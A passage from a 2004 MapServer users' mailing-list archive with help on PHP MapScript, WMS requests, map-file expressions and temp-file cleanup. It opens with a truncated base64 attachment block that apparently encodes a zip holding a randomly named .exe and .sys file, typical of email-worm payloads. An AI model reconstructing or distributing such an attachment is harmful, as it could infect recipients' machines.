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 AAIAcgAAAA9XAAAAAA== ----------pqbwqzitcjjkrwdfwudb-- From j.l.h.hartmann at uva.nl Tue May 4 06:18:14 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Tue, 04 May 2004 15:18:14 +0200 Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript In-Reply-To: <409790C1.7020001@ccgis.de> References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de> Message-ID: <40979816.3030808@uva.nl> Benjamin Thelen wrote: > Don't use ?with-httpd=/usr/local/apache2/bin/httpd! > > I stumbled over the same problem yesterday. The error message is misleading. PHP-Mapscript requires PHP to have been compiled with "--with-regex=system", but even if that is the case, the configure script fails when called with "--with-apxs" or "-- with-apache". (Both options seem to be currently disabled BTW). Could someone please adapt this error message in the configure script? Lots of people seem to have had this problem. Jan From Andrew.Simpson at ssc.nasa.gov Tue May 4 06:19:14 2004 From: Andrew.Simpson at ssc.nasa.gov (Simpson, Andrew) Date: Tue, 4 May 2004 08:19:14 -0500 Subject: [Mapserver-users] PostGIS and CLass - Expression Help Message-ID: <7F086B24179D91449EDA19F5FC928D0B01F2724E@sscleda2.ssc.nasa.gov> Probably not the problem, but your CLASSITEM is "item_x" and your EXPRESSION has [item_y]. -----Original Message----- From: Till Adams [mailto:adams at terrestris.de] Sent: Tuesday, May 04, 2004 4:57 AM To: mapserverlist Subject: [Mapserver-users] PostGIS and CLass - Expression Help Dear list, I'm stuck with making an expression on a postgis datasource (code see below): I get no error but also no labels at all - and there are labels, I'm sure. I tried everything with quotations, capitalisation in my expression, etc. but still get no results :-(. NAME "xxx" TYPE ANNOTATION STATUS ON CONNECTIONTYPE postgis CONNECTION "user=admin dbname=datasrc host=localhost" DATA "the_geom from (select * from view_x) as foo using unique item using SRID=31493" # viewx is a stored query in my database METADATA 'WMS_SRS' 'epsg:31493' 'WMS_TITLE' 'xxx' 'WMS_FEATURE_INFO_MIME_TYPE' 'text/html' END PROJECTION "init=epsg:31493" END CLASSITEM "item_x" LABELITEM "label" LABELANGLEITEM "angle" CLASS EXPRESSION ([item_y] > 1301) # /^13/ NAME "name" LABEL TYPE TRUETYPE FONT 'arial' SIZE 9 COLOR 0 0 0 END END [....] When making sth. like 'EXPRESSION /^13/' I get results and see labels on my map, but that's not enough for us. Maybe there's a problem because the data does not result from a postgres table directly? Any ideas, hints, similar problems out there? Thanks very much in advance! Till _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nicolas.fortin at ec.gc.ca Tue May 4 06:22:02 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Tue, 4 May 2004 09:22:02 -0400 Subject: [Mapserver-users] Problem on setting up an WMS server Message-ID: <118A9CF846431048B65C4AFB0E57C0ED0372FA@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Hi Alexandros, The values for the BBOX parameter must be in ordre : minx, miny, maxx, maxy Hope this helps, Nicolas -----Message d'origine----- De : Alexandros Chimarios [mailto:alhim at intracom.gr] Envoy? : Tuesday, May 04, 2004 9:02 AM ? : mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] Problem on setting up an WMS server I have compiled the Mapserver 4.2 beta to support WMS server(succesfully tested it !) and GetCapabilities works fine. However when I try thr GetMap functionality instead of the image I get an xml file describing the following error : msWMSLoadGetMapParams(): WMS server error. Invalid values for BBOX. This is the URL i try : http://localhost/cgi-bin/mapserv?map=mywms.map&REQUEST=GetMap&LAYERS=earth&bbox=-110.0,40.0,-80.0,30.0&VERSION=1.1.1 Could anyone explain me what to do or send me an example test WMS-server map file ? This is mywms.map : MAP NAME DEMO WEB METADATA "wms_title" "WMS DEMO SERVER" "wms_onlineresource" "http://localhost/cgi-bin/mapserv?map=mywms.map&" "wms_srs" "EPSG:4326" END END LAYER NAME earth DATA "/usr/local/apache2/cgi-bin/geodata/data/cubeserv-best.jpg" TYPE RASTER END END _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From norbert.thieme at ilmenau.baw.de Tue May 4 06:37:05 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 04 May 2004 15:37:05 +0200 Subject: [Mapserver-users] Coloring Problem In-Reply-To: <409744DB.4020209@ilmenau.baw.de> References: <20040504042718.E1C017267@sitemail.everyone.net> <409744DB.4020209@ilmenau.baw.de> Message-ID: <40979C81.3000004@ilmenau.baw.de> Norbert Thieme schrieb: > Sam Choudry schrieb: > >> Hello, >> >> Here is the same old problem still not solved. I want to change the >> color of my area layer "nal-blk" according to user input. For that I am >> using the code: >> >> if($r!='' && $g!='' && $b!='') >> { >> $layer = $map->getlayerbyname("nal-blks"); >> $class = $layer->getclass(0); >> $layer->open($map->shapepath); >> $index = findindex($r,$g,$b); >> $class->set('color',index); >> } >> >> >> >> I am using a function I received from one of the list members, >> >> function findindex($r,$g,$b) >> { >> GLOBAL $map; >> $r1=(int) $r; >> $g1=(int) $g; >> $b1=(int) $b; >> >> for($i=-10;$i<0;$i++) >> { >> $col=$map->getColorByIndex($i); >> $tr=$col->red; >> $tg=$col->green; >> $tb=$col->blue; >> >> if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb)) >> { >> $in=$i; >> break; } } >> $in=$in+1; >> return($in); >> } >> >> >> The Error message are : >> Warning: Wrong parameter count for open() in >> c:\inetpub\wwwroot\php\nalbari.php on line 21 >> > > Hi, > > The layer->open() function don't except any paramters I think so simply > leave it empty. > >> Fatal error: Property 'color' does not exist in this object. >> in c:\inetpub\wwwroot\php\nalbari.php on line 23 >> > > The next message say that there is no color in the class-object. So you > can't change it and I just had a look in the mapscript docs - there seem > to be no color-object. If I don't have missed something there will be no > way to change that but I think there should be one. > > I hope someone more experienced knows a workaround or can point us to > the right objects/functions or docs. > > Regards, > Norbert > >> >> The Map File snippet is also provided: >> >> LAYER #DISTRICT BLOCKS# >> NAME "nal-blks" >> DATA nal-blks >> STATUS ON >> TYPE POLYGON >> CLASS >> NAME '0' >> COLOR 219 250 253 >> OUTLINECOLOR 154 181 250 >> END >> END >> What can be the possile solution to this? Regards, >> >> Samuzzal >> >> >> _____________________________________________________________ >> Linux.Net -->Open Source to everyone >> Powered by Linare Corporation >> http://www.linare.com/ >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > Hi, sorry I was wrong. It was in the docs I only looked on the wrong point. This is the way to go: $addlyr_layer = ms_newLayerObj($map); $addlyr_layer->set(status, MS_ON); $addlyr_layer->set(name, $addlyr_file); $addlyr_layer->set(data, $addlyr_string); $addlyr_layer->set(type, 1); $addlyr_class = ms_newClassObj($addlyr_layer); $addlyr_class->set(name, "Class"); $addlyr_style = ms_newStyleObj($addlyr_class); $addlyr_style->color->setRGB(10, 100, 10); $image=$map->draw(); $image_url = $image->saveWebImage(); Regards, Norbert From bartvde at xs4all.nl Tue May 4 06:39:18 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 4 May 2004 15:39:18 +0200 (CEST) Subject: [Mapserver-users] nesting of layers in WMS Message-ID: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl> Hi list, as most of you know Mapserver supports nesting of layers as a WMS server by using the GROUP attribute for layers. However this only supports nesting layers one level deep, while the OGC WMS spec allows it to be nested infinitely. Are there any plans for Mapserver to support a deeper level of nesting, like e.g. the Cubewerx server supports? Will this still be practical with the current MAP file format, or will it need an XML map file format? Best regards, Bart From Charles.Blais at agr.gouv.qc.ca Tue May 4 06:52:29 2004 From: Charles.Blais at agr.gouv.qc.ca (Charles.Blais at agr.gouv.qc.ca) Date: Tue, 4 May 2004 09:52:29 -0400 Subject: [Mapserver-users] Premature end of script headers: c:/php/php.exe Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E886@nclt1-ntcoup1.mapaq.gouv.qc.ca> > Hi, > > When I try a sample phpmapsript code, I get the following error : > "Premature end of script headers: c:/php/php.exe" > > WIN2000 pro > Apache 1.3.29 > Php 4.3.3 > PhpMapscript 4.0.1 > > Any ideas ? > > > Thanks > > > Charles From mapserver at meteologica.es Tue May 4 07:04:58 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Tue, 4 May 2004 16:04:58 +0200 Subject: [Mapserver-users] center map on x,y coordinates In-Reply-To: References: Message-ID: <200405041604.58294.mapserver@meteologica.es> The scale parameter is not clear, as it is related with RESOLUTION. If your units are meters, you can calculate your escale using this formula: scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels. RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the mapfile if you need to. Just try a big scale (scale=15000000). Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE? Paco On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote: > hi list. > in my application i have a drop-down menu with lots of addresses (addresses > and appropriate x,y coordinates stored in a mysql-database). the user can > choose one address and then click on the submit-button to show the map > centered on the chosen address. > the problem is, that i don't know how i could center my map on x,y > coordinates. > > i found the following entry in the mapserver-user-history: > "If you have x,y coordinates for the centers of your parcels in your mysql > database, you can just run your search, grab the results, and redirect to a > url like: > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f >rom_mysql&scale=150000" > > i tried this link with my coordinates but it doesn't work this way. could > someone help me please? > > thx, > elisabeth. > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From williampaul28 at yahoo.com Tue May 4 07:06:20 2004 From: williampaul28 at yahoo.com (william paul) Date: Tue, 4 May 2004 07:06:20 -0700 (PDT) Subject: [Mapserver-users] erasing files from tmp folder Message-ID: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> --0-1265778250-1083679580=:19406 Content-Type: text/plain; charset=us-ascii Hi again, I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp thank's --------------------------------- Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1265778250-1083679580=:19406 Content-Type: text/html; charset=us-ascii
Hi again,
I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp
thank's


Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1265778250-1083679580=:19406-- From e9625730 at student.tuwien.ac.at Tue May 4 07:14:14 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Tue, 4 May 2004 16:14:14 +0200 Subject: Fw: [Mapserver-users] center map on x,y coordinates Message-ID: i checked my mapfile and there was an error. you were right. i changed this and now i get this error: getNumeric(): Incorrect data type. On Tuesday 04 May 2004 15:21, Alexandros Chimarios wrote: How about checking your map file ? Propably there's a syntax error in there ! Send your map file please. On Tuesday 04 May 2004 15:14, Elisabeth Nolz wrote: i tried alexandros link but still got the same error: getString(): Symbol definition error. (MAP):(0) perhaps someone knows whats going wrong. elisabeth. On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote: make last try with : http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00 1646,00"&scale=1000 It seems that the %20 special HTML char is getting confused with the number after that. Elisabeth, please also send a carbon-copy of your emails to the mapserver-list cause may be some people out there that could help you more than me. I don't know if this make you feel better, but I also have some problems with Maserver. I have been trying to setup a WMS server since the morning ! Regards Alexandros "Elisabeth Nolz" schrieb: hi again, alexandros. i copied my .map-file to the apache/cgi-bin directory and this is the link i'm working with by now: http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scale=1000 but i get the following error: getString(): Symbol definition error. (MAP):(0) do you know what that means? On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote: Elisabeth, I think there's a problem with your URL. According to Mapserver syntax the CGI param should be: MAPXY [x] [y] But you have http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000 What does this "+" symbol mean ? Try the following URL : http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y_from_mysql&scale=150000 "Elisabeth Nolz" schrieb: i'm using PHP MapScript 3.6 and these x,y coordinates are geographical coordinates (gauss-krueger). i want to pass these coordinates through a link. is that possible? On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote: Hi , are you using the MapScript language ? If yes in the mapObj class there is the method centerByPoint which operates on the screen space(pixels). What are those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ? On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote: hi list. in my application i have a drop-down menu with lots of addresses addresses and appropriate x,y coordinates stored in a mysql-database). the user can choose one address and then click on the submit-button to show the map centered on the chosen address. the problem is, that i don't know how i could center my map on x,y coordinates. i found the following entry in the mapserver-user-history: "If you have x,y coordinates for the centers of your parcels in your mysql database, you can just run your search, grab the results, and redirect to a url like: http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000" i tried this link with my coordinates but it doesn't work this way. could someone help me please? thx, elisabeth. From jerl.simpson at rkiq.com Tue May 4 07:32:42 2004 From: jerl.simpson at rkiq.com (Jerl Simpson) Date: Tue, 04 May 2004 09:32:42 -0500 Subject: [Mapserver-users] erasing files from tmp folder In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> References: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com> Message-ID: <4097A98A.5040406@rkiq.com> use the scheduler in XP to run a batch script that cleans up the files. does XP have the "at" command? That might work too. william paul wrote: > Hi again, > I still ave the same problem with erasing files from tmp directory. I > received an answer to use cron or croon, but I don't know exact what is > cron or croon? it's a script in java?, a software? I use Windows Xp > thank's > > ------------------------------------------------------------------------ > Do you Yahoo!? > Win a $20,000 Career Makeover at Yahoo! HotJobs > > From nicolas.fortin at ec.gc.ca Tue May 4 07:30:33 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Tue, 4 May 2004 10:30:33 -0400 Subject: [Mapserver-users] erasing files from tmp folder Message-ID: <118A9CF846431048B65C4AFB0E57C0ED0372FC@ECQCSTFMAIL1.quebec.int.ec.gc.ca> This is a multi-part message in MIME format. ------_=_NextPart_001_01C431E4.5BBCE1CA Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 Hi! =20 I use windows task manager with a simple .bat file in the tmp directory = like this: del *.gif del *.png del *.jpg =20 The dir is emptied every hour. =20 Hope this helps, Nicolas =20 =20 -----Message d'origine----- De : william paul [mailto:williampaul28 at yahoo.com]=20 Envoy=E9 : Tuesday, May 04, 2004 10:06 AM =C0 : mapserver-users at lists.gis.umn.edu Objet : [Mapserver-users] erasing files from tmp folder =09 =09 Hi again, I still ave the same problem with erasing files from tmp directory. I = received an answer to use cron or croon, but I don't know exact what is = cron or croon? it's a script in java?, a software? I use Windows Xp thank's =09 _____ =20 Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs = =20 ------_=_NextPart_001_01C431E4.5BBCE1CA Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
 
Hi!
 
I use=20 windows task manager with a simple .bat file in the tmp = directory like=20 this:
del=20 *.gif
del=20 *.png
del=20 *.jpg
 
The=20 dir is emptied every hour.
 
Hope=20 this helps,
Nicolas
 
 
-----Message d'origine-----
De : william paul=20 [mailto:williampaul28 at yahoo.com]
Envoy=E9 : Tuesday, = May 04,=20 2004 10:06 AM
=C0 :=20 mapserver-users at lists.gis.umn.edu
Objet : = [Mapserver-users]=20 erasing files from tmp folder

Hi again,
I still ave the same problem with erasing files from tmp = directory. I=20 received an answer to use cron or croon, but I don't know exact what = is cron=20 or croon? it's a script in java?, a software? I use Windows Xp
thank's


Do you Yahoo!?
Win=20 a $20,000 Career Makeover at Yahoo! HotJobs=20
=00 ------_=_NextPart_001_01C431E4.5BBCE1CA-- From EZS at DeStraat.NL Tue May 4 07:42:21 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Tue, 04 May 2004 16:42:21 +0200 Subject: [Mapserver-users] Premature end of script headers: c:/php/php.exe Message-ID: Did you copy the dll's from the /php/dll directory to the windows system directory? See the install.txt that comes with the php installer/binaries. >>> 05/04/04 03:52pm >>> > Hi, > > When I try a sample phpmapsript code, I get the following error : > "Premature end of script headers: c:/php/php.exe" > > WIN2000 pro > Apache 1.3.29 > Php 4.3.3 > PhpMapscript 4.0.1 > > Any ideas ? > > > Thanks > > > Charles _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From EZS at DeStraat.NL Tue May 4 07:43:18 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Tue, 04 May 2004 16:43:18 +0200 Subject: [Mapserver-users] erasing files from tmp folder Message-ID: A cron job is for Linux/Unix. For Windows you can use a batch file to delete all files from the temp directory with the task scheduler. >>> william paul 05/04/04 04:06pm >>> Hi again, I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp thank's --------------------------------- Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From simon at inf.univali.br Tue May 4 07:59:00 2004 From: simon at inf.univali.br (Fernando S.) Date: Tue, 04 May 2004 11:59:00 -0300 Subject: [Mapserver-users] Label/Classes Items Message-ID: <4097AFB4.70208@inf.univali.br> This is a multi-part message in MIME format. --------------050707070105030603090803 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi, I am with some problems with label items. I have one layer with two classes and I don't have data because I NEED to use FEATURE. Well, I'm using mapscript to set and add the feature, this items are draw correctly, they appear in the map. They are drawed using first class definitions. Now I need to set correctly the class using mapscript. I tried to set the classindex in "ms_newShapeObj", the same that I use in "addFeature". I set this value before I execute "addFeature". But the data always drawed by first class. When I execute an echo before set the classindex was show 0 and after I changed, was show the value that I set, but always the feature it's drawed by first class. I changed the values to many options (1, 2, 3....) but without effect. I can't to 